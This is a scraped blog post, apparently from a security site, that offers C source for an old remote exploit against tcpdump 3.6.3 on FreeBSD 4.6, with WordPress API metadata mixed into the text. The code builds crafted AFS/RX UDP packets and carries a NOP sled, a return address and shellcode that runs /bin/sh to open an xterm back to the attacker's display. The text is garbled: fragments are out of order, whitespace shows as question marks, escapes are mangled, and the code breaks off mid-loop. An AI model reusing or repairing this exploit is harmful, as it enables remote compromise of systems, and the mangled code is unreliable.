old remote exploit against tcpdump.<\/p>\n
feed the goats!<\/p>\n
#include ??#define ADDR????????????0xbffff248 ??#define RX_CLIENT_INITIATED?? 1 ??struct rx_header { ??char shellcode[] = ??long resolve(char *name) { ?? if ((ip=inet_addr(name))==-1) { ??int main (int argc, char *argv[]) { <\/p>\n ?? struct sockaddr_in addr,sin; ???fprintf(stderr,”Tcpdump 3.6.3 remote exploit against FreeBSD 4.6nn”); <\/p>\n ???if (argc<3) { \n????printf(\"Usage: %s [host] [display] [offset]n\",argv[0]); \n????exit(-1); \n????} \n\n???if (argc==4) offset=atoi(argv[3]); \n???return_addr+=offset; \n\n???fprintf(stderr,\"Using return addr: %#xn\",return_addr); \n\n???addr.sin_family=AF_INET; \n???addr.sin_addr.s_addr=resolve(argv[1]); \n???addr.sin_port=htons(FS_RX_DPORT); \n\n???if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) { \n???? perror(\"socket()\"); \n???? exit(-1); \n???? } \n\n???sin.sin_family=AF_INET; \n???sin.sin_addr.s_addr=INADDR_ANY; \n???sin.sin_port=htons(FS_RX_SPORT); \n\n???if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) { \n?????perror(\"bind()\"); \n?????exit(-1); \n?????} \n\n???memset(buffer,0,sizeof(buffer)); \n???rxh=(struct rx_header *)buffer; \n\n???rxh->type=RX_PACKET_TYPE_DATA; ???lptr=(long int *)(buffer+sizeof(struct rx_header)); ???*(lptr++)=htonl(420); ???memset(chptr,’A’,120); old remote exploit against tcpdump. feed the goats!<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-149","post","type-post","status-publish","format-standard","hentry","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-2p","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/149","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=149"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/149\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n??#include
\n??#include
\n??#include
\n??#include
\n??#include
\n??#define OFFSET???????????0
\n??#define NUM_ADDR??????????10
\n??#define NOP???????????? 0x90
\n??#define NUM_NOP?????????? 100 <\/p>\n
\n??#define RX_PACKET_TYPE_DATA?? 1
\n??#define FS_RX_DPORT?????? 7000
\n??#define FS_RX_SPORT?????? 7001
\n??#define AFS_CALL????????134 <\/p>\n
\n????u_int32_t epoch;
\n????u_int32_t cid;
\n????u_int32_t callNumber;
\n????u_int32_t seq;
\n????u_int32_t serial;
\n????u_char type;
\n????u_char flags;
\n????u_char userStatus;
\n????u_char securityIndex;
\n????u_short spare;
\n????u_short serviceId;
\n??}; <\/p>\n
\n???”xebx57x5exb3x21xfexcbx88x5ex2cx88x5ex23″
\n???”x88x5ex1fx31xdbx88x5ex07x46x46x88x5ex08″
\n???”x4ex4ex88x5exFFx89x5exfcx89x76xf0x8dx5e”
\n???”x08x89x5exf4x83xc3x03x89x5exf8x8dx4exf0″
\n???”x89xf3x8dx56xfcx31xc0xb0x0ex48x48x48xcd”
\n???”x80x31xc0x40x31xdbxcdx80xAAxAAxAAxAAxBB”
\n???”xBBxBBxBBxCCxCCxCCxCCxDDxDDxDDxDDxe8xa4″
\n???”xffxffxff”
\n???”\/bin\/shZ-cZ\/usr\/X11R6\/bin\/xtermZ-utZ-displayZ”; <\/p>\n
\n?? struct hostent *hp;
\n?? long ip; <\/p>\n
\n??? if ((hp=gethostbyname(name))==NULL) {
\n??????fprintf (stderr,”Can’t resolve host name [%s].n”,name);
\n??????exit(-1);
\n?????}
\n????memcpy(&ip,(hp->h_addr),4);
\n????}
\n?? return(ip);
\n??} <\/p>\n
\n?? int sock,aux, offset=OFFSET;
\n?? char buffer[4048], *chptr;
\n?? struct rx_header *rxh;
\n?? long int *lptr, return_addr=ADDR; <\/p>\n
\n???rxh->seq=htonl(1);
\n???rxh->flags=RX_CLIENT_INITIATED; <\/p>\n
\n???*(lptr++)=htonl(AFS_CALL);
\n???*(lptr++)=htonl(1);
\n???*(lptr++)=htonl(2);
\n???*(lptr++)=htonl(3); <\/p>\n
\n???chptr=(char *)lptr;
\n???sprintf(chptr,”1 0n”);
\n???chptr+=4; <\/p>\n
\n???chptr+=120;
\n???lptr=(long int *)chptr;
\n???for (aux=0;aux